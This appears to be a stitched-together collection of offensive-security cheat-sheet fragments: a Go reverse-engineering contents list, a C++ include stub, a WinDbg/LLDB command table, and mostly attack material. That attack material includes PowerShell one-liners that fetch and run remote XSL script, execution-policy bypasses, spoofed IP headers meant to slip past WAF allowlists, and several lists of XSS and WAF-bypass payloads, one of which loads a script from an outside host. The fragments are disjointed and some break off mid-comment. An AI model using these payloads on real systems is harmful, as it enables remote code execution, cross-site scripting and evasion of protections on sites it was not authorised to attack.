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Reverse Engineering Golang

Some notes, tools, and techniques for reverse engineering Golang binaries.

Table of Contents

• Go Reverse Engineering Tool Kit (go-re.tk)
• GoReSym
• Unsorted

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#include <Windows.h>
#include <Psapi.h>
#include <metahost.h>
#include <comutil.h>
#include <mscoree.h>
#include "patch_info.h"
#include "base\helpers.h"

/**
 * For the debug build we want:

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##############################################################################
### Powershell Xml/Xsl Assembly "Fetch & Execute"
### [https://twitter.com/bohops/status/966172175555284992]

$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xsl',$s,$r);$x.Transform('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xml','z');del z;

##############################################################################
### Powershell VBScript Assembly SCT "Fetch & Execute"
### [https://twitter.com/bohops/status/965670898379476993]

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https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/

powershell.exe -ExecutionPolicy Bypass
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

Set-ExecutionPolicy Bypass -Scope Process

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Starting

Command	WinDbg	LLDB
Start	windbg {executable} [{args}]	lldb {executable} [--args]
Attach	windbg -p {pid}	lldb --attach-pid {pid}

Symbols and modules

Command	WinDbg	LLDB
(Re)load symbols	lb {module-name}	target symbols add {symbol-file-path}

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<!-- Source: https://www.openbugbounty.org/blog/ismailtsdln/everything-about-xss-is-in-this-source/ -->

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>

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CACHE_INFO: 127.0.0.1
CF_CONNECTING_IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
CLIENT_IP: 127.0.0.1
Client-IP: 127.0.0.1
COMING_FROM: 127.0.0.1
CONNECT_VIA_IP: 127.0.0.1
FORWARD_FOR: 127.0.0.1
FORWARD-FOR: 127.0.0.1
FORWARDED_FOR_IP: 127.0.0.1

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- X-forwarded-for
- X-remote-IP
- X-originating-IP
- x-remote-addr
waf通常会有一个不拦截任意请求的白名单ip，上面的几个头可以用来伪造ip
如：
X-Forwarded-For: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1

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@vanshitmalhotra | Bypass AWS WAF -// 
Add "<!" (without quotes) before your payload and bypass that WAF. :)
eg: <!<script>confirm(1)</script>

@black0x00mamba | Bypass WAF Akamaighost & filtered onload, onclick, href, src, onerror, script, etc 
<img  sr%00c=x o%00nerror=((pro%00mpt(1)))>

DotDefender WAF bypass by @0xInfection 
<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme

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';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>